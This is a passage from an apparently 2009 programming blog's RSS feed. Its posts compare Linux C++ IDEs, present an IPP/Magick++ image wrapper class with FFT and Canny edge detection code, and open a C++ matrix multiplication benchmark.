			<wfw:commentRss>http://www.kerrywong.com/2009/05/07/canny-edge-detection-auto-thresholding/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>C++ IDEs Under Linux</title>
		<link>http://www.kerrywong.com/2009/04/18/c-ides-under-linux/</link>
		<comments>http://www.kerrywong.com/2009/04/18/c-ides-under-linux/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 02:27:04 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Code::Blocks]]></category>
		<category><![CDATA[KDevelop]]></category>
		<category><![CDATA[NetBeans]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=964</guid>
		<description><![CDATA[So far I have been mainly using KDevelop and Code::Blocks as my C++ development IDEs. Recently, I started using NetBeans IDE for C++ and I started to like it quite a bit.
In my opinion, the above three IDEs all have their strengths and weaknesses depending on what kind of project you are working on. Here [...]]]></description>
			<content:encoded><![CDATA[<p>So far I have been mainly using <a href="http://www.kdevelop.org">KDevelop</a> and <a href="http://www.codeblocks.org">Code::Blocks</a> as my C++ development IDEs. Recently, I started using <a href="http://www.netbeans.org/">NetBeans IDE</a> for C++ and I started to like it quite a bit.<span id="more-964"></span></p>
<p>In my opinion, the above three IDEs all have their strengths and weaknesses depending on what kind of project you are working on. Here are some of my observations.<br />
<strong><br />
KDevelop is probably the most comprehensive IDE of the three</strong>. This should not come as a surprise as it has been around for more than 10 years and it bas been the de facto development environment for most of the <a href="http://www.kde.org">KDE</a> development work. It is very feature rich and you can use it to develop many different types of applications natively out of box (e.g. KDE, GTK+, Qt, wxWidgets, etc). If you are developing <a href="http://www.gnu.org">GNU</a> style applications, you will benefit from the Automake project type if provides. Besides the vast functionalities KDevelop provides, it is also very fast, efficient and stable. </p>
<p>Nonetheless, KDevelop is not the most intuitive IDE and does not suit small projects (e.g. prof of concept code) well as the initial project setup can be time consuming.</p>
<p><strong>Code::Blocks is a very capable IDE for C++ development as well</strong>. It offers many project templates even though it does not offer native KDE project types. This should not be a problem to most people however. Among the features I like the most is that it does not require explicit make file configuration and the build dependencies are inferred by default. This makes it very attractive for rapid prototyping. Debugging under Code::Blocks is also a pleasant experience. It also integrates (at least in the later SVN versions) <a href="http://valgrind.org/">Valgrind</a>&#8217;s MemCheck and Cachegrind, which are very useful for detecting memory leaks and tweaking algorithms for the maximum performance.</p>
<p>The latest stable version of Code::Blocks is 8.02, it is a little dated as a lot of functionalities have been added in the later SVN builds. If you do not require the most stability (I have run into <a href="/2009/04/15/how-to-revert-to-a-specific-svn-version-of-codeblocks/">some issues</a> recently), using SVN build should not be a problem. The editor (e.g. syntax highlighting, collapsible regions) is a little bit buggy though and the contextual help does not always work to the level of detail I desired. </p>
<p><strong>NetBeans C++ IDE is probably the most beautiful one among the three</strong>. It offers the most detailed syntax highlighting, and can be configured to display class hierarchy and library function information. The refactor tool works pretty well and is certainly a boon to large scale development. Its contextual help is also of top-notch.</p>
<p>All of these come at a cost of course. NetBeans C++ IDE is the most resource intensive among the three. It can easily use 500 MB memory when doing development and can be sluggish at times. It also comes with a very limited project template (e.g. no out-of-box project templates for Qt, wxWidgets). Certain settings <a href="http://www.netbeans.org/kb/docs/cnd/toolchain.html">are hard to get at</a> as well. Nevertheless, if I am primarily writing back-end code, NetBeans C++ IDE could easily earn my top choice. </p>
<p>Some people like <a href="http://www.anjuta.org">Anjuta</a> and compare it favorably to Code::Blocks. But I haven&#8217;t got a chance to use it yet.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/04/18/c-ides-under-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>An Image Class Based On IPP</title>
		<link>http://www.kerrywong.com/2009/04/10/an-image-class-based-on-ipp/</link>
		<comments>http://www.kerrywong.com/2009/04/10/an-image-class-based-on-ipp/#comments</comments>
		<pubDate>Sat, 11 Apr 2009 00:34:55 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[FFT]]></category>
		<category><![CDATA[IPP]]></category>
		<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=935</guid>
		<description><![CDATA[A couple of weeks ago, I wrote about how to interface Integrated Performance Primitives (IPP) with Magick++. While IPP offers excellent performance advantages, it does not come with the easiest programming model. Fortunately, it is easy enough to create a C++ wrapper on top of IPP and provide an easier to use programming interface.
In this [...]]]></description>
			<content:encoded><![CDATA[<p>A couple of weeks ago, I wrote about <a href="/2009/03/17/interfacing-ipp-with-magick/">how to interface Integrated Performance Primitives (IPP) with Magick++</a>. While IPP offers excellent performance advantages, it does not come with the easiest programming model. Fortunately, it is easy enough to create a C++ wrapper on top of IPP and provide an easier to use programming interface.<span id="more-935"></span></p>
<p>In this article, I will show a simple example of creating a wrapper class using <a href="http://www.intel.com/cd/software/products/asmo-na/eng/302910.htm">IPP</a> and <a href="http://www.imagemagick.org/Magick%2B%2B/">Magick++</a>. The example I am going to show can be used to calculate the 2-dimensional FFT spectrum of a gray-scale image. This framework can be easily extended to include other algorithms that can be applied to an image using IPP.</p>
<p>Before I show the implementation details, let me first show how easy it is to use the class. The code snippet below shows how to read in an image file, apply 2D FFT with and without a Hamming window and save the results into image files.</p>
<pre class="brush: cpp;">
    IPPGrayImage *img, *img1;

    img = new IPPGrayImage();
    img-&gt;LoadFromFile(IMAGE_FILE);

    img1 = img-&gt;Clone();
    img1 = img1-&gt;FFT(true);
    img1-&gt;SaveToFile(IMAGE_HOME + &quot;/test_fftmag.jpg&quot;);
    img1 = img-&gt;Clone();
    img1 = img-&gt;ApplyHammingWindow();
    img1-&gt;SaveToFile(IMAGE_HOME + &quot;/test_hamming.jpg&quot;);
    img1 = img1-&gt;FFT(true);
    img1-&gt;SaveToFile(IMAGE_HOME + &quot;/test_fftmag_hamming.jpg&quot;);
</pre>
<p>And for the following IMAGE_FILE,<br />
<div id="attachment_941" class="wp-caption aligncenter" style="width: 266px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/testimg.jpeg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/testimg.jpeg" alt="Test image used for 2D FFT" title="Test Image" width="256" height="256" class="size-full wp-image-941" /></a><p class="wp-caption-text">Test image used for 2D FFT</p></div></p>
<p>Here are the results for FFT spectrum with and without hamming window:<br />
<div id="attachment_943" class="wp-caption aligncenter" style="width: 266px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_hamming.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_hamming.jpg" alt="Hamming window applied" title="Hamming window applied" width="256" height="256" class="size-full wp-image-943" /></a><p class="wp-caption-text">Hamming window applied</p></div><br />
<div id="attachment_944" class="wp-caption aligncenter" style="width: 266px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_fftmag.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_fftmag.jpg" alt="FFT spectrum (without Hamming window)" title="FFT spectrum (without Hamming window)" width="256" height="256" class="size-full wp-image-944" /></a><p class="wp-caption-text">FFT spectrum (without Hamming window)</p></div><br />
<div id="attachment_945" class="wp-caption aligncenter" style="width: 266px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_fftmag_hamming.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/04/test_fftmag_hamming.jpg" alt="FFT spectrum with Hamming window" title="FFT spectrum with Hamming window" width="256" height="256" class="size-full wp-image-945" /></a><p class="wp-caption-text">FFT spectrum with Hamming window</p></div></p>
<p>The header file for the class is as follows:</p>
<pre class="brush: cpp;">
#ifndef IPPGRAYIMAGE_H
#define IPPGRAYIMAGE_H

#include &lt;Magick++/Image.h&gt;
#include &lt;Magick++.h&gt;
#include &lt;ipp.h&gt;

using namespace std;
using namespace Magick;

namespace KDW
{
    class IPPGrayImage
    {
    public:
        unsigned int PIXEL_SIZE;

        IPPGrayImage();
        IPPGrayImage(const unsigned int width, const unsigned int height);
        IPPGrayImage(Ipp32f *imgBuffer, const unsigned int width, const unsigned int height);
        IPPGrayImage(const IPPGrayImage&amp; other);
        virtual ~IPPGrayImage();
        IPPGrayImage&amp; operator=(const IPPGrayImage&amp; other);

        void LoadFromFile(string fileName);
        void SaveToFile();
        void SaveToFile(string fileName);

        inline float GetPixel(unsigned int col, unsigned int row) {return _imgBuffer[row * _width + col];}
        inline void SetPixel(unsigned int col, unsigned int row, float clr) {_imgBuffer[row * _width + col] = clr;}

        unsigned int GetWidth() { return _width;}
        unsigned int GetHeight() { return _height;}

        Ipp32f* GetImageBuffer() { return _imgBuffer;}
        Image* GetImage() { return _img;}

        IPPGrayImage* Clone();
        IPPGrayImage* ApplyHammingWindow();
        IPPGrayImage* FFT(bool fftShift = false);
    protected:
    private:
        unsigned int _width;
        unsigned int _height;

        Image* _img;
        Pixels* _view;
        PixelPacket* _pixels;
        Ipp32f* _imgBuffer;
        string _fileName;

        void Init();
    };
}
#endif // IPPGRAYIMAGE_H
</pre>
<p>And here&#8217;s the implementation for the class:</p>
<pre class="brush: cpp;">
#include &lt;assert.h&gt;
#include &lt;math.h&gt;

#include &quot;IPPGrayImage.h&quot;

namespace KDW
{
    /** @brief Constructor()
     *  Initialize image buffer.
     */
    IPPGrayImage::IPPGrayImage()
    {
        Init();
    }

    /** @brief Constructor(width, height)
     *  Initialize an image size of width x height.
     */
    IPPGrayImage::IPPGrayImage(const unsigned int width, const unsigned int height)
    {
        Init();

        _width = width;
        _height = height;

        int stepByte = 0;
        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &amp;stepByte);
    }

    /** @brief Constructor(imgBuffer, width, height)
     *  Initilize from an Ipp32f buffer (width x height)
     */
    IPPGrayImage::IPPGrayImage(Ipp32f *imgBuffer, const unsigned int width, const unsigned int height)
    {
        Init();

        _width = width;
        _height = height;
        _imgBuffer = imgBuffer;
    }

    /** @brief Copy Constructor
     */
    IPPGrayImage::IPPGrayImage(const IPPGrayImage&amp; other)
    {
        _width = other._width;
        _height = other._height;

        int stepByte = 0;

        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &amp;stepByte);

        for (unsigned int row = 0; row &lt; _height ; row++)
        {
            for (unsigned int column = 0; column &lt; _width ; column++)
            {
                _imgBuffer[column + row * _width] =other._imgBuffer[column + row * _width];
            }
        }

        if (other._pixels == NULL) _pixels = NULL;
    }

    /** @brief Overload =
     */
    IPPGrayImage&amp; IPPGrayImage::operator=(const IPPGrayImage&amp; rhs)
    {
        if (this == &amp;rhs) return *this; // handle self assignment

        return *this;
    }

    /**
     * @brief Destructor
     */
    IPPGrayImage::~IPPGrayImage()
    {
        ippFree(_imgBuffer);
        delete _img;
        delete _view;
    }

    /**
     * @brief Common initialization code
     */
    void IPPGrayImage::Init()
    {
        PIXEL_SIZE = sizeof(Ipp32f);
        _pixels = NULL;
        _imgBuffer = NULL;
        _img = NULL;
    }

    /** @brief Load an image from file
      */
    void IPPGrayImage::LoadFromFile(string fileName)
    {
        _img = new Image(fileName);
        Geometry g = _img-&gt;size();

        _width = g.width();
        _height= g.height();

        _view = new Pixels(*_img);
        _pixels = _view-&gt;get(0,0, _width, _height);

        int stepByte = 0;
        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &amp;stepByte);

        for (unsigned int row = 0; row &lt; _height ; row++)
        {
            for (unsigned int column = 0; column &lt; _width ; column++)
            {
                PixelPacket *p = &amp;_pixels[column + row * _width];
                Color c = Color(p-&gt;red, p-&gt;green, p-&gt;blue);
                _imgBuffer[column + row * _width] = c.intensity();
            }
        }
    }

    /** @brief Save the current image buffer to file
      */
    void IPPGrayImage::SaveToFile()
    {
        SaveToFile(&quot;&quot;);
    }

    /** @brief SaveToFile(fileName)
     *  Saves the current image buffer to a file (by file name).
     */
    void IPPGrayImage::SaveToFile(string fileName)
    {
        if (_img != NULL &amp;&amp; _pixels != NULL)
        {
            for (unsigned int y = 0; y&lt; _height ; y++)
            {
                for (unsigned int x = 0; x &lt; _width; x++)
                {
                    float clr = (float) _imgBuffer[x + y * _width];
                    _pixels[x+ y * _width] = Color(clr, clr, clr);
                }
            }
            _view-&gt;sync();
            _img-&gt;syncPixels();

            if (fileName == &quot;&quot;)
            {
                _img-&gt;write(_fileName);
            }
            else
            {
                _img-&gt;write(fileName);
            }
        }
        else
        {
            Image img(Geometry(_width, _height),&quot;white&quot;);

            for (unsigned int y = 0; y&lt; _height ; y++)
            {
                for (unsigned int x = 0; x &lt; _width; x++)
                {
                    Color c;
                    float clr = (float) _imgBuffer[x + y * _width];
                    img.pixelColor(x,y, Color(clr, clr, clr));
                }
            }

            img.write(fileName);
        }
    }

    /** @brief Clone
    *   Duplicate the current image to another IPPGrayImage object.
    *   @return an IPPGrayImage pointer to the cloned image
    */
    IPPGrayImage* IPPGrayImage::Clone()
    {
        IPPGrayImage *newImg;

        newImg = new IPPGrayImage(_width, _height);

        int stepByte = 0;
        newImg-&gt;_imgBuffer = ippiMalloc_32f_C1(_width,_height, &amp;stepByte);

        for (unsigned int y = 0 ; y &lt; _height ; y++)
        {
            for (unsigned int x = 0 ; x &lt; _width ; x++)
            {
                newImg-&gt;_imgBuffer[x + y * _width] = _imgBuffer[x + y * _width];
            }
        }

        return newImg;
    }

    /** @brief Apply Hamming window to the image
     *  @return an IPPGrayImage pointer to the processed image
     */
    IPPGrayImage* IPPGrayImage::ApplyHammingWindow()
    {
        IPPGrayImage *newImg;
        newImg = new IPPGrayImage(_width , _height);
        IppiSize srcImgSize = {_width, _height};

        IppStatus sts;
        int stepByte;
        Ipp32f *imgCache = ippiMalloc_32f_C1(_width , _height , &amp;stepByte);

        sts = ippiWinHamming_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, imgCache, _width * PIXEL_SIZE, srcImgSize);
        assert(sts ==ippStsNoErr);

        for (unsigned int y = 0; y&lt; _height; y++)
        {
            for (unsigned int x = 0; x &lt; _width; x++)
            {
                newImg-&gt;_imgBuffer[x+ y * _width] = imgCache[x + y * _width];
            }
        }

        return newImg;
    }

    /** @brief Perform FFT on the image and returns the magnitude component
     *  @param fftShift: if it is true, the the result is with
     *         zero-frequency component shifted to center of spectrum
     *  @return the magnitude FFT component
     */
    IPPGrayImage* IPPGrayImage::FFT(bool fftShift)
    {
        IPPGrayImage *newImg;
        IppiFFTSpec_R_32f *spec;
        IppStatus sts;

        unsigned int n = (int) (logf((float) _width) / logf(2.0f));
        unsigned int m = (int) (logf((float) _height) / logf(2.0f));

        unsigned int N = pow(2, n);
        unsigned int M = pow(2, m);

        if (N &lt; _width)
        {
            n = n + 1;
            N = pow(2, n);
        }

        if (M &lt; _height)
        {
            m = m + 1;
            M = pow(2, m);
        }

        int stepByte;
        Ipp32f *src = ippiMalloc_32f_C1(M , N , &amp;stepByte);
        Ipp32f *dst = ippiMalloc_32f_C1(M , N , &amp;stepByte);
        Ipp32f *mag = ippiMalloc_32f_C1(M , N , &amp;stepByte);

        IppiSize srcImgSize = {_width, _height};
        IppiSize dstImgSize = {N, M};

        sts = ippiCopyConstBorder_32f_C1R(
                  _imgBuffer, _width * PIXEL_SIZE, srcImgSize,
                  src,  N * PIXEL_SIZE, dstImgSize,
                  0,0,0);
        assert(sts ==ippStsNoErr);

        sts = ippiFFTInitAlloc_R_32f(&amp;spec, n , m, IPP_FFT_DIV_BY_SQRTN, ippAlgHintAccurate);
        assert(sts ==ippStsNoErr);

        sts = ippiFFTFwd_RToPack_32f_C1R(src, N*PIXEL_SIZE, dst, N*PIXEL_SIZE, spec, 0);
        assert(sts ==ippStsNoErr);

        sts = ippiMagnitudePack_32f_C1R(dst, N*PIXEL_SIZE, mag, N*PIXEL_SIZE, dstImgSize);
        assert (sts ==ippStsNoErr);

        newImg = new IPPGrayImage(N , M);

        if (fftShift)
        {
#pragma omp sections
            {
#pragma omp section
                {
                    for (unsigned int y = 0 ; y &lt; M/2; y++)
                    {
                        for (unsigned int x = 0 ; x &lt; N/2; x++)
                        {
                            newImg-&gt;_imgBuffer[x+ y *N] = mag[x + N/2 + (y + M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = 0 ; y &lt; M/2; y++)
                    {
                        for (unsigned int x = N/2 ; x &lt; N; x++)
                        {
                            newImg-&gt;_imgBuffer[x+ y *N] = mag[x - N/2 + (y + M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = M/2 ; y &lt; M; y++)
                    {
                        for (unsigned int x = 0 ; x &lt; N/2; x++)
                        {
                            newImg-&gt;_imgBuffer[x+ y *N] = mag[x + N/2 + (y - M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = M/2 ; y &lt; M; y++)
                    {
                        for (unsigned int x = N/2 ; x &lt; N; x++)
                        {
                            newImg-&gt;_imgBuffer[x+ y *N] = mag[x - N/2 + (y - M/2) * N];
                        }
                    }
                }
            }
        }
        else
        {
            for (unsigned int y = 0; y&lt; M; y++)
            {
                for (unsigned int x = 0; x &lt;N; x++)
                {
                    newImg-&gt;_imgBuffer[x+ y * N] = mag[x + y * N];
                }
            }

        }

        return newImg;
    }
}
</pre>
<p>The above example showed only the FFT function, but virtually all IPP image routines can be accommodated using the wrapper image class above. Intel IPP utilizes many different data types (e.g. Ipp8u, Ipp16s, Ipp32f etc.), but to provide most of the flexibility and compatibility I chose to use only the 32 bit floating data type. For specific implementations, other data types can be used as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/04/10/an-image-class-based-on-ipp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interfacing IPP with Magick++</title>
		<link>http://www.kerrywong.com/2009/03/17/interfacing-ipp-with-magick/</link>
		<comments>http://www.kerrywong.com/2009/03/17/interfacing-ipp-with-magick/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 01:01:24 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Image Processing]]></category>
		<category><![CDATA[IPP]]></category>
		<category><![CDATA[Multi-threading]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=864</guid>
		<description><![CDATA[Intel&#8217;s Integrated Performance Primitives (IPP) is a low level C++ library. It provides routines that are highly optimized on Intel processors. I recently started using it because its vast speed advantage in signal and image processing applications.
Since the implementation of many of the functions are threaded, it makes the task of writing high performance applications [...]]]></description>
			<content:encoded><![CDATA[<p>Intel&#8217;s <a href="http://www.intel.com/cd/software/products/asmo-na/eng/302910.htm">Integrated Performance Primitives (IPP)</a> is a low level C++ library. It provides routines that are highly optimized on Intel processors. I recently started using it because its vast speed advantage in signal and image processing applications.<span id="more-864"></span></p>
<p>Since the implementation of many of the functions are threaded, it makes the task of writing high performance applications much easier. Since it is a set of &#8220;performance primitives&#8221; as the name suggests, it uses its own data structures (e.g. Ipp8u) and does not provide functions to directly inter-operate with data coming from other sources (e.g. image files).</p>
<p>Fortunately, such data conversion is pretty straight forward. In this post, I will illustrate how to convert an image file (e.g. .jpg, .png, .gif) to the data IPP uses, and how to save the result into a standard image file once the processing is done.</p>
<p><a href="http://www.imagemagick.org/Magick%2B%2B/">Magick++</a> is a very comprehensive image-processing C++ library and the Image class it provides handles image files quite well. So I chose to use Magic++&#8217;s API to convert image files to the data structure IPP uses. In this particular example, I will use a gray level image. But in practice, color images can be easily handled in a similar fashion.</p>
<p>For the code mentioned below, the following headers and namespaces are used:</p>
<pre class="brush: cpp;">
#include &lt;Magick++/Image.h&gt;
#include &lt;Magick++.h&gt;
#include &lt;ipp.h&gt;

using namespace std;
using namespace Magick;
</pre>
<p>And the following code shows how to convert a standard image file data into format that is suitable for IPP.</p>
<pre class="brush: cpp;">
    IppStatus sts;
    Image img(&quot;{Image File Name}&quot;);
    Geometry g = img.size();

    unsigned int width = g.width();
    unsigned int height= g.height();

    Pixels view(img);
    PixelPacket *pixels = view.get(0,0,width,height);

    int stepByte = 0;
    //allocating a buffer of unsigned char (Ipp8u) for the image.
    Ipp8u *imgCache = ippiMalloc_8u_C1(width,height, &amp;stepByte);

    for (unsigned int row = 0; row &lt; height ; row++)
    {
        for (unsigned int column = 0; column &lt; width ; column++)
        {
            PixelPacket *p = &amp;pixels[column + row * width];
            Color c = Color(p-&gt;red, p-&gt;green, p-&gt;blue);
            double i = c.scaleQuantumToDouble(c.intensity()) * 255;
            imgCache[column + row * width] = (char) i;
        }
    }
</pre>
<p>The above code snippet first reads the image data into *PixelPacket and the pixel buffer is then converted into a one channel buffer of chars (color value 0-255). Note that the range of the image data Magick++ reads in is between 0 and <strong><em>QuantumRange</em></strong>, which needs to be converted back to the range 0-255 accepted by the Ipp8u buffer. If other types of <strong><em>IPP</em></strong> image buffers are used (e.g. Ipp32f), this <strong><em>scaleQuantumToDouble()</em></strong> conversion may not be necessary. At the end, the image data is converted into the one dimensional array <strong><em>imgCache</em></strong> which can be used by <em>IPP</em> procedures.</p>
<p>Once we are in the <strong><em>IPP</em></strong> data domain, we can proceed with whatever processing we had in mind. Here I will show the code for edge detection using <a href="http://en.wikipedia.org/wiki/Canny_edge_detector">Canny algorithm</a>.</p>
<pre class="brush: cpp;">
    IppiSize orgImgSize = {width, height};
    IppiSize newImgSize = {width + 2, height + 2};

    Ipp8u *imgCache1 = ippiMalloc_8u_C1(width + 2,height + 2, &amp;stepByte);
    sts = ippiCopyReplicateBorder_8u_C1R(imgCache, width, orgImgSize,  imgCache1,
            width + 2 , newImgSize, 2, 2);
    IppiSize roi = {width, height};

    Ipp32f low=30.0f, high=100.0f;
    int size, size1, srcStep, dxStep, dyStep, dstStep;

    Ipp8u *src, *dst, *buffer;
    Ipp16s *dx, *dy;

    sts = ippiFilterSobelNegVertGetBufferSize_8u16s_C1R(
            roi, ippMskSize3x3, &amp;size);
    sts = ippiFilterSobelHorizGetBufferSize_8u16s_C1R(
            roi, ippMskSize3x3, &amp;size1);

    if (size&lt;size1) size=size1;
    ippiCannyGetSize(roi, &amp;size1);
    if (size&lt;size1) size=size1;

    buffer = ippsMalloc_8u(size);
    dx = ippsMalloc_16s(size);
    dy = ippsMalloc_16s(size);
    dst = ippsMalloc_8u(size);

    sts = ippiFilterSobelNegVertBorder_8u16s_C1R (
            imgCache1, width + 2 , dx, (width + 2) * 2 ,
            roi, ippMskSize3x3, ippBorderRepl, 0, buffer);
    sts = ippiFilterSobelHorizBorder_8u16s_C1R(
            imgCache1, width + 2, dy, (width + 2) *2 ,
            roi, ippMskSize3x3, ippBorderRepl, 0, buffer);
    sts = ippiCanny_16s8u_C1R(dx,
            (width + 2) * 2, dy, (width + 2) * 2,
            dst, width, roi, low, high, buffer);
</pre>
<p>The code shown above is adopted from Intel&#8217;s IPP manual for image and video processing (by default it is located at /opt/intel/ipp/<em>{version number}</em>/em64t/doc/ippiman.pdf).</p>
<p>Please pay special attention to how the original image is extended via <strong><em>ippiCopyReplicateBorder_8u_C1R</em></strong>. The image is extended by 2 pixels in each direction because the 3&#215;3 mask used for the filtering operation. I omitted error checking code for simplicity, but in general you need to check the return status of each ippi function call. When the call is successful, the status is <strong><em>ippStsNoErr</em></strong>. If you receive a value other than <strong><em>ippStsNoErr</em></strong> (e.g. <strong><em>ippStsStepErr</em></strong>) you will need to check your buffer size to make sure that they are adjusted according to the data type. For instance, in the code above <strong><em>dx</em> </strong>and <strong><em>dy</em></strong> are both 16bit signed integers and thus they both occupy two bytes each. </p>
<p>To save the result image, we convert the pixel buffer back to <strong><em>PixelPacket</em></strong> type. Again we need to convert the data in the buffer (<strong><em>Ipp8u</em></strong>) to the range accepted by Magick++ API.</p>
<pre class="brush: cpp;">
    for (unsigned int y = 0; y&lt; height ; y++)
    {
        for (unsigned int x = 0; x &lt; width; x++)
        {
            Color c;
            float clr = (float) dst[x + y * width] /255;
            float q = c.scaleDoubleToQuantum(clr);
            pixels[x+ y * width] = Color(q, q, q);
        }
    }

    view.sync();
    img.syncPixels();

    img.write(&quot;{Image File Name}&quot;);
</pre>
<p>We can also save the result data into a new image (instead of syncing the data back to the image object holding the original image data) using the code below:</p>
<pre class="brush: cpp;">
    Image img1(Geometry(width, height),&quot;white&quot;);

    for (unsigned int y = 0; y&lt; height ; y++)
    {
        for (unsigned int x = 0; x &lt; width; x++)
        {
            Color c;
            float clr = (float) dst[x + y * width] /255;
            float q = c.scaleDoubleToQuantum(clr);
            img1.pixelColor(x,y, Color(q, q, q));
        }
    }

    img1.write(&quot;{Image File Name}&quot;);
</pre>
<p>And finally the buffers used are freed.</p>
<pre class="brush: cpp;">
    ippiFree(imgCache);
    ippsFree(buffer);
</pre>
<p>The following images show Canny edge detector in action using the code in this article:</p>
<div id="attachment_876" class="wp-caption aligncenter" style="width: 573px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/test.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/test.jpg" alt="Original" title="Original" width="563" height="422" class="size-full wp-image-876" /></a><p class="wp-caption-text">Original</p></div>
<div id="attachment_879" class="wp-caption aligncenter" style="width: 573px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/test_canny.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/test_canny.png" alt="Canny Edge Detector applied" title="Canny Edge Detector applied" width="563" height="422" class="size-full wp-image-879" /></a><p class="wp-caption-text">Canny Edge Detector applied</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/03/17/interfacing-ipp-with-magick/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Matrix Multiplication Performance in C++</title>
		<link>http://www.kerrywong.com/2009/03/07/matrix-multiplication-performance-in-c/</link>
		<comments>http://www.kerrywong.com/2009/03/07/matrix-multiplication-performance-in-c/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 04:16:14 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[BLAS]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[matrix multiplication]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=586</guid>
		<description><![CDATA[A few days ago, I ran across this article by Dmitri Nesteruk. In his article, he compared the performance between C# and C++ in matrix multiplication. From the data he provided, matrix multiplication using C# is two to three times slower than using C++ in comparable situations.
Even though a lot of optimizations have been done [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago, I ran across <a href="http://mindstudies.psy.soton.ac.uk/dmitri/blog/index.php/archives/160">this article by Dmitri Nesteruk</a>. In his article, he compared the performance between C# and C++ in <a href="http://en.wikipedia.org/wiki/Matrix_multiplication">matrix multiplication</a>. From the data he provided, matrix multiplication using C# is two to three times slower than using C++ in comparable situations.<span id="more-586"></span></p>
<p>Even though a lot of optimizations have been done in the .Net runtime to make it more efficient, it is apparent that scientific programming still favors C and C++ because that the performance advantage is huge.</p>
<p>In this article, I will examine some matrix multiplication algorithms that are commonly used and illustrate the efficiencies of the various methods. All the tests are done using C++ only and matrices size ranging from 500&#215;500 to 2000&#215;2000. When the matrix sizes are small (e.g. &lt;50), you can pretty much use any matrix multiplication algorithms without observing any significant performance differences. This is largely due to the fact that the typical stable matrix multiplication algorithms are O(n^3) and sometimes array operation overheads outweigh the benefit of algorithm efficiencies. But for matrices of larger dimensions, the efficiency of the multiplication algorithm becomes extremely important.</p>
<p>Since <a href="http://mindstudies.psy.soton.ac.uk/dmitri/blog/index.php/archives/160">Dmitri&#8217;s article</a> has already captured pretty detailed data using the standard matrix multiplication algorithm, I will not repeat his findings in this article. What I intended to show was the performance data of <a href="http://www.boost.org/doc/libs/1_38_0/libs/numeric/ublas/doc/overview.htm">uBLAS</a>, <a href="http://openmp.org/wp/">OpenMP</a>, <a href="http://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms">cBLAS</a> and <a href="http://www.mathworks.com/">MATLAB</a>.</p>
<p>The following sample code are compiled under Ubuntu 8.10 64 bit (kernel 2.6.24.23) on Intel Q9450@3.2GHz.</p>
<h4>Standard Matrix Multiplication (Single Threaded)</h4>
<p>This is our reference code. Later on, I will only show the critical portion of the code and not repeat the common portion of code that initializes/finalizes the arrays. Similarly, the timing method used is also the same across all the tests and will be omitted later on.</p>
<pre class="brush: cpp;">
float **A, **B, **C;

A = new float*[matrix_size];
B = new float*[matrix_size];
C = new float*[matrix_size];

for (int i = 0 ; i &lt; matrix_size; i++)
{
    A[i] = new float[matrix_size];
    B[i] = new float[matrix_size];
    C[i] = new float[matrix_size];
}

for (int i=0; i&lt;matrix_size; i++)
{
    for (int j = 0 ; j &lt; matrix_size; j++)
    {
        A[i][j]=rand();
        B[i][j]=rand();
    }
}

timeval t1, t2, t;
gettimeofday(&amp;t1, NULL);

for (int i = 0 ; i &lt; matrix_size; i++)
{
    for (int j = 0;  j &lt; matrix_size; j++)
    {
        C[i][j] = 0;
        for (int k = 0; k &lt; matrix_size; k++)
        {
            C[i][j] += A[i][k] * B[k][j];
        }
    }
}

gettimeofday(&amp;t2, NULL);
timersub(&amp;t2, &amp;t1, &amp;t);

cout &lt;&lt; t.tv_sec + t.tv_usec/1000000.0 &lt;&lt; &quot; Seconds -- Standard&quot; &lt;&lt; endl;

for (int i = 0 ; i &lt; matrix_size; i++)
{
    delete A[i];
    delete B[i];
    delete C[i];
}
